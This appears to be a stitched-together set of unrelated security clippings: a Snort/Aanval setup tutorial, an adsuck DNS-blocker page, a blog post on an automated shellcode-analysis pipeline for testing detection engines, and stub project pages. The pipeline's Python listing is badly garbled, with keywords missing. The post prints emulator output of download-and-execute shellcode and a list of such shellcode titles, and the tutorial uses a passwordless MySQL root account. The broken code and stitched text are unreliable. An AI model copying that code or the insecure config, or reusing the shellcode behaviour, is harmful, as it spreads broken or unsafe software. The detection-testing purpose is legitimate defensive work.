  * Malware Intelligence Blog
  * Matthieu Suiche’s blog
  * McAfee Threat Center
  * Microsoft Malware Protection Center
  * MW-Blog
  * my 20%
  * Offensive Computing
  * ret2libc
  * rootkit
  * security watch
  * Shell Storm
  * skull security
  * SRI Malware Threat Center
  * Symantec Security Response Blogs
  * Team Cymru
  * The Invisible Things Lab's Blog
  * Threat Fire Research
  * Threat Post
  * ThreatExpert - Automated Threat Analysis
  * Trend Micro Labs
  * unmaskparasites
  * VRT Source Fire
  * xanalysis
  * ZDNet's Zero Day

<img src='img/Temp2_10244.png' width='18' height='18' />

## readers

<img src='img/Temp2_10244.png' width='18' height='18' />

## online readers

<img src='img/Temp2_10244.png' width='18' height='18' />

## tweet this

<img src='img/Temp2_10217.png' width='32' height='32' alt='tweet this' />  

<img src='img/Temp2_10244.png' width='18' height='18' />

  *[2:54 PM]: 2009-12-29T14:54:00-08:00
  *[8:14 AM]: 2009-12-29T08:14:00-08:00
  *[5:30 PM]: 2009-12-28T17:30:00-08:00
  *[2:15 AM]: 2009-12-19T02:15:00-08:00
  *[2:16 PM]: 2009-12-18T14:16:00-08:00
  *[3:43 PM]: 2009-12-15T15:43:00-08:00
  *[3:15 AM]: 2009-12-15T03:15:00-08:00

# Episode105 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 12:43:27 PM_  
---|---  
**Updated:**| _8/5/2009 12:43:47 PM_  
**Author:**| __  
**Tags:**| _security tools packet-analysis pauldotcom security iDS/iPS_  
  

# Tech Segment: Tips For Snorting Your Network

There are many tools, both open-source and commercial, available for
monitoring your network for intrusions. This is an extremely important part of
your defense strategy, what you can't prevent you must try to detect. I find
Snort one of the most valuable tools for this purpose. When coupled with a
database and a web front end, you can gain insight into your network and use
the information to detect attacks and understand your network better. Even
with the proliferation of web application attacks and client-side
exploitation, and IDS is still a must-have to detect attackers and malware as
they move through your network. We covered Base in the Kevin Johnson
interview, so I will show you a bit about Aanval, a semi-free \(free for one
sensor\) front end for Snort and syslog. I much prefer Base, because I am used
to the interface, but Aanval has some cool features. This is not an
installation guide as it will leave out many details, but include some useful
tips to get it all working. For this installation I used Debian and the
following:

  * Snort 2.8.1
  * Aanval 3.3
  * Debian Etch \(My package listing is here\)

The first thing that I did was grab snort and configure it:

[code]

    # wget http://www.snort.org/dl/current/snort-2.8.1.tar.gz
    # tar zxvf snort-2.8.1.tar.gz 
    # cd snort-2.8.1/
    # ./configure --enable-pthread  --with-mysql --prefix=/opt/snort-2.8.1
    # make
    # make install
    
[/code]

In the above command I am enabling multi-threading, with hopes that it will
perform better on my quad-core CPU, mysql so we can write to the database, and
telling it to install in /opt. I like to compile and isntall each version of
snort in a separate directory, then make a soft link so I can easily switch
between versions. Once installed, I have to create the rules, in this case I
will use just the emerging threats rules:

[code]

    # cd /opt/snort-2.8.1
    # mkdir rules
    # wget http://www.emergingthreats.net/rules/emerging.rules.tar.gz
    # tar zxvf emerging.rules.tar.gz 
    
[/code]

This places the latest emerging threats rules in the rules directory. Ideally
we should also be installing oinkmaster to manage our rules, but I went out to
lunch for sushi and ran out of time :\) Now we need to grab some files from
the snort build directory:

[code]

    # mkdir etc
    # cp /usr/src/snort-2.8.1/etc/* /opt/snort-2.8.1/etc/
    # cd /opt/snort-2.8.1/etc/
    # rm Makefile*
    # cp snort.conf snort.conf.org
    # grep -v "\#" snort.conf.org 
    # grep -v "\#" snort.conf.org > snort.conf
    
[/code]

In the above commands, I strip out the comments because they make the file
really large and hard to read. I start with a cleaner copy and migrate from
the old ond and refer back to it if I need more information that was contained
in the comments. I make some changes to the snort.conf:

I go into the rules/ directory and get a list of the rules that I want and
format them to be copied and pasted into the snort.conf \(I could also
redirect the output to snort.conf with ">> ../snort.conf"\).

[code]

    # cd ../rules/
    # ls -l *.rules | awk '{print "include $RULE_PATH/"$8}' | grep -v BLOCK
    # ls -l *.rules | awk '{print "include $RULE_PATH/"$8}' | grep -v BLOCK >> ../etc/snort.conf
    
    
[/code]

Set your HOME\_NET variable:

[code]

    var HOME_NET [192.168.1.0/24,10.10.2.0/24]
    
    
[/code]

I disable these alerts because they are almost always FPs and generat noise:

[code]

    config disable_decode_alerts
    config disable_tcpopt_experimental_alerts
    config disable_tcpopt_obsolete_alerts
    config disable_tcpopt_ttcp_alerts
    config disable_tcpopt_alerts
    config disable_ipopt_alerts
    
[/code]

I like to log the alers to a file and to the database:

[code]

    output alert_syslog: LOG_AUTH LOG_ALERT
    output database: log, mysql, user=root dbname=snort host=localhost
    
[/code]

Yes, for this example, my Mysql root account has no password. This is bad,
never do this.

Add this to the file for the emerging threats rules:

[code]

    var SSH_PORTS 22
    
[/code]

Now cd /opt/ and type:

[code]

    # ln -s snort-2.8.1 snort
    
[/code]

Create the snort database and create the tables:

[code]

    # mysql -u root
    mysql> create database snort;
    mysql> exit;
    
    # mysql -u root --database=snort < /usr/src/snort-2.8.1/schemas/create_mysql 
    
    # useradd snort
    # mkdir /var/log/snort
    # chown snort /var/log/snort
    # # cp -r /opt/snort/lib/* /usr/local/lib/
    
    
    
[/code]

Now you can start snort:

[code]

    # /opt/snort/bin/snort -u snort -g snort -l /var/log/snort -c /opt/snort/etc/snort.conf -i eth1
    
[/code]

I need to find or write a startup script for Snort. I was too lazy to do so
today. Aanval was pretty easy to install:

[code]

    # cd /usr/src/
    # wget http://www.aanval.com/downloads/aanval-latest-stable.tar.gz
    # mkdir /var/www/aanval
    # cd /var/www/aanval/
    # tar zxvf /usr/src/aanval-latest-stable.tar.gz 
    # cd /var/www/aanval/apps/
    # ./idsBackground.pl -start
    
[/code]

Now naviate to your web server and go to the Aanval directory
\(http://myserver/aanval\) and follow the instructions \(point and click
basically\). Aanval has videos that describe how to add your snort sensors.
Once you do that, you can start using Aanval.

# SANS Institute InfoSec Reading Room

**Created:**| _2/23/2010 9:26:39 PM_  
---|---  
**Updated:**| _2/23/2010 9:27:29 PM_  
**Author:**| __  
**Tags:**| _attacks papers hashes crypto Mim_  
  
<img src='img/Temp2_7100' />

# adsuck - ConformalOpenSource

**Created:**| _9/6/2011 10:20:18 PM_  
---|---  
**Updated:**| _9/6/2011 10:20:18 PM_  
**Author:**| __  
**Tags:**| _DNS Linux Lab-Setup_  
  

# adsuck

  
adsuck is a small DNS server that spoofs blacklisted addresses and forwards
all other queries. The idea is to be able to prevent connections to
undesirable sites such as ad servers, crawlers and other nasties. It can be
used locally, for the road warrior, or on the network perimeter in order to
protect machines from malicious sites. It also has the capability to match
website names using regex and there is also a mechanism to spoof DNS queries
to specified IP addresses.

Please read the manual page for additional information.

##  Installation

The code was written on OpenBSD and the port contains the installation
instructions. For non-OpenBSD installation it must be done by hand. There are
2 methods of using adsuck:

  * as a local resolver for the road-warrior 
  * as a perimeter resolver to protect local networks 

###  local resolver setup

  * Make and install adsuck somewhere that is available at boot 
  * Create a chroot directory for adsuck with 755 permissions and owner root \(e.g. /var/adsuck\) 
  * Create a \_adsuck user and make its home directory the chroot directory 
  * Create a \_adsuck group 
  * Copy the blacklist files, e.g. hosts.small, to the chroot directory 
  * Modify the dhclient script to not overwrite /etc/resolv.conf and instead write that file to the chroot directory 
  * Modify the dhclient script to send SIGHUP to the adsuck daemon whenever it gets a new nameserver 
  * Modify the /etc/resolv.conf file to only one line reading: nameserver 127.0.0.1 
  * Add adsuck somewhere as a daemon so that it runs during boot, preferably after dhclient and syslogd start 
  * Run adsuck, e.g. /usr/local/sbin/adsuck -c /var/adsuck -f /resolv.conf /hosts.small 

**NOTE:** adsuck runs in a chroot environment and the above example would
require 2 files in /var/adsuck; namely hosts.small and resolv.conf. Also note
that in this example the dhclient script needs to overwrite
/var/adsuck/resolv.conf every time it gets a new nameserver AND it has to send
SIGHUP to the adsuck daemon to reread that file.

###  perimeter resolver setup

This must be done on the perimeter resolver, the machine running a valid
nameserver for the network in question.

  * Make and install adsuck somewhere that is available at boot 
  * Create a chroot directory for adsuck with 755 permissions and owner root, e.g. /var/adsuck 
  * Create an \_adsuck user and make its home directory the chroot directory 
  * Create an \_adsuck group 
  * Copy the blacklist files, e.g. hosts.small, to the chroot directory 
  * Create a resolv.conf file that contains your actual resolver information inside the chroot, e.g. nameserver 192.168.0.1 
  * Create an alias IP on the resolver for adsuck to listen on e.g. 192.168.0.2 when the resolver has IP 192.168.0.1 
  * Add adsuck somewhere as a daemon so that it runs during boot, preferably after dhclient and syslogd start 
  * Run adsuck, e.g. /usr/local/sbin/adsuck -l 192.168.0.2 -c /var/adsuck -f /resolv.conf /hosts.small 

**NOTE:** Refer to the local resolver information above if you use DHCP for
the perimeter resolver network access.

##  adsuck resources

  * Forum
  * Bug tracker
  * CVS web
  * manpage
  * Snapshots. 
  * CVS subscription page
  * Source via anoncvs CVSROOT=anoncvs@opensource.conformal.com:/anoncvs/adsuck 

# Shellcode Analysis Pipleine - 7h3rAm's InfoSec Ramblings

**Created:**| _10/26/2014 5:11:10 PM_  
---|---  
**Updated:**| _10/26/2014 5:11:10 PM_  
**Author:**| __  
**Tags:**| __  
  

# Shellcode Analysis Pipleine

« written on Tuesday, March 18, 2014 »

I recently required an automated way of analyzing shellcode and verifying if
it is detected by Libemu, Snort, Suricata, Bro, etc. Shellcode had to come
from public sources like Shell-Storm, Exploit-DB and Metasploit. I needed an
automated way of sourcing shellcode from these projects and pass it on to the
analysis engines in a pipeline-like mechanism. This posts documents the method
I used to complete this task and the overall progress of the project.

I basically divided the project into three independent tasks:

  1. source shellcode from shell-storm, exploit-db and metasploit
  2. generate pcaps for obtained shellcode
  3. test shellcode with Libemu and pcaps with Snort/Suricata/Bro

These are independent since any of them can be used individually, as a unit,
and developed outside of the system. The first task itself was divided into
smaller sub-tasks and I started with sourcing shellcode from shell-storm. The
shell-storm shellcode page documents steps needed to access shell-storm
database and there is an example script that provides an easy to use cli to
search for and download individual shellcode files from shell-storm. I used
this script in my project and added a wrapper over it to search, download and
generate pcaps all with just one cli invocation. The script currently is in
beta and satisfies only a few of the above requirements. Shell-storm sourcing
is implemented, pcap generation is working and shellcode testing currently
happens with Libemu only. Additional sources and analysis engines would be
added shortly.

Here is the source listing for this tool: sap

[code]

    #!/usr/bin/env python
    
    # TODO
    # 1. get shellcode from
    #   1a. shellstorm
    #   1b. exploitdb
    #   1c. msf
    # 2. create .bin files for these shellcodes
    # 3. create .pcap files for these shellcodes
    # 4. test shellcode with libemu
    
    
    import 
    import 
    import 
    import datetime
    import argparse
    import pylibemu
     ConfigParser import SafeConfigParser
    
    
    banner  'sap.py - Shellcode Analysis Pipleline'
    verstring  '0.1'
    author  'Ankur Tyagi (7h3rAm)'
    
    globs  
        'debug' False
    
        'config' 
        'search' 
    
        'pgtpath' 
    
        'shellstormpath' 
    
        'doshellstorm' False
        'doexploitdb' False
        'dometasploit' False
        'doall' False
    
        'binfileslist' 
        'genpcaps' False
        'emuprofilesize' 
    
    
    
     getcurtime
        return datetimedatetime
    
    
     gettimestamp
        return   datetimedatetimestrftime-%b-%Y %H:%M:%S. tzname
    
    
     doprint level'NORM'  newline
        frame  _getframe  
        filename  basenameframef_codeco_filename
        lineno  framef_lineno
        funcname  framef_codeco_name
        print   gettimestamp funcname level 
    
    
     donorm
        doprint '[NORM]' 
    
    
     dodebug
        doprint '[DEBUG]' 
    
    
     dowarn
        doprint '[WARN]' 
    
    
     doerror
        doprint '[ERROR]' 
    
    
     bin2pcap
        donorm'Found  binfiles for pcap generation'  globs'binfileslist'
    
         count filename  enumerateglobs'binfileslist'
            pgtcli   >/dev/null 2>&1'  globs'pgtpath' filename
    
            popenpgtcli
            donorm) Generating pcaps for   count globs'binfileslist' filename
    
            popen'mv ./output//HTTP_GET_raw_raw.pcap ./-HTTP_GET_raw_raw.pcap'  filename filename
            popen'mv ./output//HTTP_POST_raw_raw.pcap ./-HTTP_POST_raw_raw.pcap'  filename filename
            popen'mv ./output//TCP_CTS_raw.pcap ./-TCP_CTS_raw.pcap'  filename filename
            popen'mv ./output//TCP_STC_raw.pcap ./-TCP_STC_raw.pcap'  filename filename
    
        popen'rm -rf ./output/'
    
    
     dometasploit
        
    
     doexploitdb
        
    
    
     doshellstorm
        """http://repo.shell-storm.org/shellcode/"""
    
        shellstormsearchcli   -search  | sed -r "s/\[([0-9]{1,2}(;[0-9]{1,2})?)?[m|K]//g" | grep -oP "\[\d+\]" | grep -oP "\d+"'  globs'shellstormpath' globs'search'
    
        scids  
           popenshellstormsearchclistripsplit
                  scids scidsappend
    
        donorm'Found  shellcode ids @ shell-storm with search-string:   scids globs'search'
    
         count   enumeratescids
            scidfile  .bin'  
            shellstormdisplaycli  r'echo $( -display  | pcregrep -oM "char \w+\[\][^;]+" | pcregrep -oM "([\x5c]x[a-fA-F0-9]{2})+")'  globs'shellstormpath' 
    
              popenshellstormdisplayclistripreplace replace decode'hex'
    
               
                  scidfile 
                write
                close
                donorm) Wrote B from shellcode id#  count scids   scidfile
                 scidfile   globs'binfileslist'
                    globs'binfileslist'appendscidfile
    
            
                donorm) Skipped shellcode id# as only B found!'  count scids  
    
    
     emutest
          pylibemuEmulatorglobs'emuprofilesize'
    
         count filename  enumerateglobs'binfileslist'
              filename 
              
            close
    
            offset  shellcode_getpc_test
            donorm) Testing shellcode file:  with Libemu: offset =   count globs'binfileslist' filename offset
    
             offset >= 
                prepare offset
                
    
                 emu_profile_output
                    print emu_profile_output
    
    
     
        starttime  getcurtime
    
        print   banner verstring
        print   author
        print
    
        donorm'Session started @   starttime
    
        parser  argparseArgumentParser
            description  banner
            version  verstring
            epilog  'EXAMPLE: %(prog)s -s windows'
    
        parseradd_argument '--search' action'store' 'search' 'shellcode search'
        parseradd_argument '--config' action'store' 'config' 'config file - default: sap.cnf'
        parseradd_argument '--debug' action'store_true' 'debug' defaultFalse 'enable debug output'
    
        parseradd_argument '--shellstorm' action'store_true' 'shellstorm' defaultFalse 'shellstorm lookup'
        parseradd_argument '--exploitdb' action'store_true' 'exploitdb' defaultFalse 'exploitdb lookup'
        parseradd_argument '--metasploit' action'store_true' 'metasploit' defaultFalse 'metasploit lookup'
    
        parseradd_argument '--genpcaps' action'store_true' 'genpcaps' defaultFalse 'generate pcaps'
    
          parserparse_args
        config  SafeConfigParser
    
         debug
            globs'debug'  
    
         config
            globs'config'  config
        
            globs'config'  './sap.cnf'
    
         globs'debug'
            dodebug'Using  as configuration file'  globs'config'
    
        configglobs'config'
    
         search
            globs'search'  search
        
              confighas_section'defaults'
                doerror'Config file is missing mandatory section defaults! Cannot proceed further.'
                
              confighas_option'defaults' 'search'
                doerror'Config file is missing mandatory option search! Cannot proceed further.'
                
            
                globs'search'  config'defaults' 'search'
    
         globs'debug'
            dodebug'Using  as search string'  globs'search'
    
         confighas_option'defaults' 'pgtpath'
            globs'pgtpath'  config'defaults' 'pgtpath'
    
         shellstorm
            globs'doshellstorm'  
    
         exploitdb
            globs'doexploitdb'  
    
         metasploit
            globs'dometasploit'  
    
          globs'doshellstorm'   globs'doexploitdb'   globs'dometasploit'
            globs'doall'  
             globs'debug'
                dodebug'Enabled all shellcode soruces: shellstorm/exploitdb/metasploit'
    
         globs'doall'  globs'doshellstorm'
             confighas_option'defaults' 'shellstormpath'
                globs'shellstormpath'  config'defaults' 'shellstormpath'
                doshellstorm
    
         globs'doall'  globs'doexploitdb'
             confighas_option'defaults' 'exploitdbpath'
                globs'exploitdbpath'  config'defaults' 'exploitdbpath'
                doexploitdb
    
         globs'doall'  globs'dometasploit'
             confighas_option'defaults' 'metasploitpath'
                globs'metasploitpath'  config'defaults' 'metasploitpath'
                dometasploit
    
         genpcaps
            globs'genpcaps'  
    
         globs'binfileslist'    globs'genpcaps'
             globs'debug'
                dodebug'Initiating pcap generation for downloaded shellcode'
    
            bin2pcap
    
         confighas_option'defaults' 'emuprofilesize'
            globs'emuprofilesize'  configgetint'defaults' 'emuprofilesize'
    
         globs'binfileslist'  
             globs'debug'
                dodebug'Initiating Libemu testing for downloaded shellcode'
    
            emutest
    
        endtime  getcurtime
        donorm'Session completed in   endtimestarttime
        print
    
    
     __name__  '__main__'
        
    
[/code]

It will read configuration file to populate internal variables and then move
on to its core. First, the`doshellstorm()`method is called to source shellcode
samples from shell-storm. The API example script is used to search shellcode
that satisfies certain search criteria and then matching shell-storm shellcode
ids are downloaded, extracted and saved to a`<shellcode-id>.bin`named file.
For all shellcode ids for which we successfully extracted shellcode bytes,
they are then passed onto the`bin2pcap()`method which uses an updated version
of PCAP-Generation-Tools and creates pcap files with HTTP GET/POST requests
and TCP CTS/STC sessions. These pcaps can then be tested with intrusion
detection engines in the pipeline. Once the pcap generation module completes,
the Libemu engine is invoked and run over all`.bin`shellcode files. Later
versions will add support for Snort/Suricata/Bro based shellcode pcap testing.

Let's have a look at the help message from the tool:

[code]

    ./sap.py -h
    sap.py - Shellcode Analysis Pipleline v0.1
    Ankur Tyagi 7h3rAm
    
    18-Mar-2014 20:55:17.441063 IST main NORM: Session started @ 2014-04-19 20:55:17.440964
    usage: sap.py -h -v -s SEARCH -c CONFIG -d -S -E -M -p
    
    sap.py - Shellcode Analysis Pipleline
    
    optional arguments:
      -h, --help            show this message and 
      -v, --version         show programs version number and 
      -s SEARCH, --search SEARCH
                            shellcode search
      -c CONFIG, --config CONFIG
                            config file - default: sap.cnf
      -d, --debug           enable debug output
      -S, --shellstorm      shellstorm lookup
      -E, --exploitdb       exploitdb lookup
      -M, --metasploit      metasploit lookup
      -p, --genpcaps        generate pcaps
    
    EXAMPLE: sap.py -s windows
    
    
[/code]

There are no mandatory options since most of them are read from the config
file if not available on the command-line. The tool supports explicit lookup
for shell-storm, exploitdb or metasploit projects. Pcap generation has to be
explicitly requested but it will be inherently skipped if no bin files are not
created for obtained shellcode. Let's have a test run of the tool with`arm`as
the search string to test only ARM shellcode available at Shell-Storm:

[code]

    ./sap.py -s arm -d
    sap.py - Shellcode Analysis Pipleline v0.1
    Ankur Tyagi 7h3rAm
    
    18-Mar-2014 20:54:22.829518 IST main NORM: Session started @ 2014-04-19 20:54:22.829437
    18-Mar-2014 20:54:22.830968 IST main DEBUG: Using ./sap.cnf as configuration file
    18-Mar-2014 20:54:22.831149 IST main DEBUG: Using 'arm' as search string
    18-Mar-2014 20:54:22.831204 IST main DEBUG: Enabled all shellcode soruces: shellstorm/exploitdb/metasploit
    18-Mar-2014 20:54:23.434474 IST doshellstorm NORM: Found 26 shellcode ids @ shell-storm with search-string: 'arm'
    18-Mar-2014 20:54:23.748633 IST doshellstorm NORM: 001/026 Wrote 196B from shellcode id#661 into ./661.bin
    18-Mar-2014 20:54:24.066123 IST doshellstorm NORM: 002/026 Wrote 151B from shellcode id#735 into ./735.bin
    18-Mar-2014 20:54:24.390874 IST doshellstorm NORM: 003/026 Skipped shellcode id#669 as only 0B found!
    18-Mar-2014 20:54:24.706150 IST doshellstorm NORM: 004/026 Wrote 72B from shellcode id#670 into ./670.bin
    18-Mar-2014 20:54:25.016058 IST doshellstorm NORM: 005/026 Skipped shellcode id#754 as only 0B found!
    18-Mar-2014 20:54:25.324224 IST doshellstorm NORM: 006/026 Wrote 78B from shellcode id#671 into ./671.bin
    18-Mar-2014 20:54:25.637873 IST doshellstorm NORM: 007/026 Wrote 53B from shellcode id#765 into ./765.bin
    18-Mar-2014 20:54:25.960882 IST doshellstorm NORM: 008/026 Wrote 40B from shellcode id#659 into ./659.bin
    18-Mar-2014 20:54:26.269648 IST doshellstorm NORM: 009/026 Wrote 44B from shellcode id#820 into ./820.bin
    18-Mar-2014 20:54:26.584585 IST doshellstorm NORM: 010/026 Skipped shellcode id#853 as only 0B found!
    18-Mar-2014 20:54:26.888214 IST doshellstorm NORM: 011/026 Skipped shellcode id#854 as only 0B found!
    18-Mar-2014 20:54:27.214914 IST doshellstorm NORM: 012/026 Skipped shellcode id#666 as only 0B found!
    18-Mar-2014 20:54:27.528852 IST doshellstorm NORM: 013/026 Skipped shellcode id#855 as only 0B found!
    18-Mar-2014 20:54:27.852626 IST doshellstorm NORM: 014/026 Wrote 24B from shellcode id#668 into ./668.bin
    18-Mar-2014 20:54:28.156066 IST doshellstorm NORM: 015/026 Skipped shellcode id#696 as only 0B found!
    18-Mar-2014 20:54:28.477319 IST doshellstorm NORM: 016/026 Skipped shellcode id#665 as only 0B found!
    18-Mar-2014 20:54:28.799106 IST doshellstorm NORM: 017/026 Skipped shellcode id#819 as only 0B found!
    18-Mar-2014 20:54:29.112905 IST doshellstorm NORM: 018/026 Skipped shellcode id#0 as only 0B found!
    18-Mar-2014 20:54:29.440574 IST doshellstorm NORM: 019/026 Skipped shellcode id#667 as only 0B found!
    18-Mar-2014 20:54:29.748897 IST doshellstorm NORM: 020/026 Wrote 27B from shellcode id#698 into ./698.bin
    18-Mar-2014 20:54:30.070085 IST doshellstorm NORM: 021/026 Skipped shellcode id#821 as only 0B found!
    18-Mar-2014 20:54:30.384414 IST doshellstorm NORM: 022/026 Wrote 20B from shellcode id#660 into ./660.bin
    18-Mar-2014 20:54:30.701548 IST doshellstorm NORM: 023/026 Skipped shellcode id#729 as only 0B found!
    18-Mar-2014 20:54:31.006583 IST doshellstorm NORM: 024/026 Skipped shellcode id#730 as only 0B found!
    18-Mar-2014 20:54:31.313406 IST doshellstorm NORM: 025/026 Skipped shellcode id#728 as only 0B found!
    18-Mar-2014 20:54:31.709741 IST doshellstorm NORM: 026/026 Skipped shellcode id#727 as only 0B found!
    18-Mar-2014 20:54:31.710338 IST main DEBUG: Initiating Libemu testing downloaded shellcode
    18-Mar-2014 20:54:31.710862 IST emutest NORM: 001/010 Testing shellcode file: ./661.bin with Libemu: offset  -1
    18-Mar-2014 20:54:31.711142 IST emutest NORM: 002/010 Testing shellcode file: ./735.bin with Libemu: offset  -1
    18-Mar-2014 20:54:31.711392 IST emutest NORM: 003/010 Testing shellcode file: ./670.bin with Libemu: offset  -1
    18-Mar-2014 20:54:31.711687 IST emutest NORM: 004/010 Testing shellcode file: ./671.bin with Libemu: offset  -1
    18-Mar-2014 20:54:31.711952 IST emutest NORM: 005/010 Testing shellcode file: ./765.bin with Libemu: offset  -1
    18-Mar-2014 20:54:31.712189 IST emutest NORM: 006/010 Testing shellcode file: ./659.bin with Libemu: offset  -1
    18-Mar-2014 20:54:31.712427 IST emutest NORM: 007/010 Testing shellcode file: ./820.bin with Libemu: offset  -1
    18-Mar-2014 20:54:31.712659 IST emutest NORM: 008/010 Testing shellcode file: ./668.bin with Libemu: offset  -1
    18-Mar-2014 20:54:31.712890 IST emutest NORM: 009/010 Testing shellcode file: ./698.bin with Libemu: offset  -1
    18-Mar-2014 20:54:31.713120 IST emutest NORM: 010/010 Testing shellcode file: ./660.bin with Libemu: offset  -1
    18-Mar-2014 20:54:31.713370 IST main NORM: Session completed in 0:00:08.883860
    
    
    
[/code]

I enabled`debug`output for additional verbosity in the above command-line. The
tool identified 26 shellcode samples that satisfy search criteria`arm`. From
these 26 samples, only 10 could be converted to`.bin`equivalents via the regex
pattern and these were then passed on to the Libemu analysis engine. Those
familiar with Libemu will immediately notice that all of these 10 tested
shellcode samples,`offset`was found to be -1 which indicates that Libemu
failed in identification of these as probable shellcode candidates. The offset
value returned by the`shellcode_getpc_test()`method should ideally be 0 or
more to indicate the starting offset inside the input buffer from where the
actual shellcode starts. Since Libemu only supports x86 architecture, all the
10 ARM shellcode samples were bound to fail in the above test.

Let's now try a Windows x86 shellcode with the tool:

[code]

    ./sap.py -s download
    sap.py - Shellcode Analysis Pipleline v0.1
    Ankur Tyagi 7h3rAm
    
    18-Mar-2014 21:32:39.954426 IST main NORM: Session started @ 2014-04-19 21:32:39.954321
    18-Mar-2014 21:32:40.501316 IST doshellstorm NORM: Found 14 shellcode ids @ shell-storm with search-string: 'download'
    18-Mar-2014 21:32:40.821984 IST doshellstorm NORM: 001/014 Wrote 278B from shellcode id#240 into ./240.bin
    18-Mar-2014 21:32:41.130703 IST doshellstorm NORM: 002/014 Wrote 202B from shellcode id#162 into ./162.bin
    18-Mar-2014 21:32:41.436970 IST doshellstorm NORM: 003/014 Skipped shellcode id#150 as only 0B found!
    18-Mar-2014 21:32:41.760507 IST doshellstorm NORM: 004/014 Skipped shellcode id#700 as only 0B found!
    18-Mar-2014 21:32:42.089636 IST doshellstorm NORM: 005/014 Wrote 151B from shellcode id#206 into ./206.bin
    18-Mar-2014 21:32:42.402426 IST doshellstorm NORM: 006/014 Skipped shellcode id#392 as only 0B found!
    18-Mar-2014 21:32:42.712811 IST doshellstorm NORM: 007/014 Wrote 110B from shellcode id#59 into ./59.bin
    18-Mar-2014 21:32:43.025814 IST doshellstorm NORM: 008/014 Wrote 108B from shellcode id#862 into ./862.bin
    18-Mar-2014 21:32:43.333005 IST doshellstorm NORM: 009/014 Wrote 79B from shellcode id#616 into ./616.bin
    18-Mar-2014 21:32:43.649846 IST doshellstorm NORM: 010/014 Wrote 75B from shellcode id#227 into ./227.bin
    18-Mar-2014 21:32:43.949659 IST doshellstorm NORM: 011/014 Wrote 42B from shellcode id#611 into ./611.bin
    18-Mar-2014 21:32:44.257083 IST doshellstorm NORM: 012/014 Skipped shellcode id#767 as only 0B found!
    18-Mar-2014 21:32:44.582001 IST doshellstorm NORM: 013/014 Skipped shellcode id#146 as only 0B found!
    18-Mar-2014 21:32:44.885040 IST doshellstorm NORM: 014/014 Skipped shellcode id#159 as only 0B found!
    18-Mar-2014 21:32:44.885900 IST emutest NORM: 001/008 Testing shellcode file: ./240.bin with Libemu: offset  -1
    18-Mar-2014 21:32:44.927295 IST emutest NORM: 002/008 Testing shellcode file: ./162.bin with Libemu: offset  0
    2014-03-18 21:32:44 Downloading  C:.exe
    2014-03-18 21:32:44 Error while downloading from
    HMODULE LoadLibraryA 
         LPCTSTR  0x0244d020 >
                "urlmon.dll";
       0x7df20000;
    HRESULT URLDownloadToFile 
         LPUNKNOWN  0x02452f50 >
             none;
         LPCTSTR  0x0244e8f0 >
                ;
         LPCTSTR  0x02453fb0 >
                "C:\U.exe";
         DWORD dwReserved  0;
         LPBINDSTATUSCALLBACK lpfnCB  0;
       0x800c0008;
    UINT WINAPI WinExec 
         LPCSTR  0x023b4940 >
                "C:\U.exe";
         UINT uCmdShow  1972065515;
       0x20;
    void ExitProcess 
         UINT uExitCode  0;
       0x0;
    
    18-Mar-2014 21:32:44.955295 IST emutest NORM: 003/008 Testing shellcode file: ./206.bin with Libemu: offset  -1
    18-Mar-2014 21:32:44.955390 IST emutest NORM: 004/008 Testing shellcode file: ./59.bin with Libemu: offset  -1
    18-Mar-2014 21:32:44.955462 IST emutest NORM: 005/008 Testing shellcode file: ./862.bin with Libemu: offset  -1
    18-Mar-2014 21:32:44.955535 IST emutest NORM: 006/008 Testing shellcode file: ./616.bin with Libemu: offset  -1
    18-Mar-2014 21:32:44.955597 IST emutest NORM: 007/008 Testing shellcode file: ./227.bin with Libemu: offset  -1
    18-Mar-2014 21:32:44.955655 IST emutest NORM: 008/008 Testing shellcode file: ./611.bin with Libemu: offset  -1
    18-Mar-2014 21:32:44.955725 IST main NORM: Session completed in 0:00:05.001388
    
[/code]

Id 162 was successfully identified by Libemu as shellcode and it even
generated the profiling output for it. From the profile output it seems like
the shellcode, when executed, will trigger the download and execution of a
malware sample. This is also evident from the shellcode description provided
by shell-storm for this shellcode id:

[code]

    shell-storm-api.py -search download
    Connecting to shell-storm.org...
    Found 14 shellcodes
    ScId    Size Title
    240   278  Solaris/mips - download and execute - 278 bytes
    162   226  Windows - download & shellcode - 226 bytes+ <-- SCID: 162
    150   218  Windows-64 - URLDownloadToFileA download and execute - 218+ bytes
    700   164  Windows - null-free 32-bit Windows download and LoadLibrary shellcode - 164 bytes
    206   149  Linux/x86 - connect back, download a file and execute - 149 bytes
    392   124  Windows - download and execute - 124 bytes
    59    111  Linux/x86 - HTTP/1.x GET, Downloads & execve - 111 bytes+
    862   108  Linux/x86 - Download + chmod +  - 108 bytes
    616   79   Solaris/x86 - Remote Download file - 79 bytes
    227   68   Linux/x86 - HTTP/1.x GET, Downloads and JMP - 68 bytes+
    611   42   Linux/x86 - Remote file Download - 42 bytes
    767   n/a  Windows - Vista/7/2008 - download and execute file via reverse DNS channel
    146   n/a  Windows - XP download and exec source
    159   n/a  Windows - Download and Execute Shellcode Generator
    
    
[/code]

Currently Libemu is the only analysis engine but soon I'll be adding support
for additional engines. Sourcing from other projects will also be added in
subsequent versions. Feel free to try it out and let me know what you think of
it.

# tripoux - Project Hosting on Google Code

**Created:**| _12/3/2010 10:02:52 AM_  
---|---  
**Updated:**| _12/3/2010 10:03:15 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis Obfuscation_  
  
<img src='img/Temp2_10676.png' alt='Logo' /> |  tripoux _Malware packer analysis_ |   
---|---|---  
Project Home |  |  Downloads |  |  Wiki |  |  Issues |  |  Source |  |   
---|---|---|---|---|---|---|---|---|---|---  
Summary | Updates | People |   
---|---  
<img src='img/Temp2_10677.png' width='15' height='15' /> Star this project  
---  
**Activity:** <img src='img/Temp2_10678.png' /> Medium  
---  
**Code license:**  
GNU General Public License v2  
**Labels:**  
Malware, Reverse-engineering, Packer, Dynamicanalysis, Pin, x86  
**Feeds:**  
Project feeds  
---  
**Owners:**  
j04n.calvet  
---  
People details »  
Malware packer analysis by a pure dynamic approach, the project is divided in
three parts:

  1. The tracer
  2. The core engine
  3. The visualization part

Check this presentation for more details:

http://tripoux.googlecode.com/svn/trunk/ProjectPresentation/deepsec\_2010\_Tripoux.pdf

  
  
  

# Peering Inside the PE: A Tour of the Win32 Portable Executable File Format

**Created:**| _7/22/2009 12:55:53 PM_  
---|---  
**Updated:**| _7/22/2009 12:56:26 PM_  
**Author:**| __  
**Tags:**| _windows security reversing_  
  
Popular Articles Wicked Code: UpdatePanel Tips and Tricks  
  
Distributed .NET: Learn The ABCs Of Programming Windows Communication
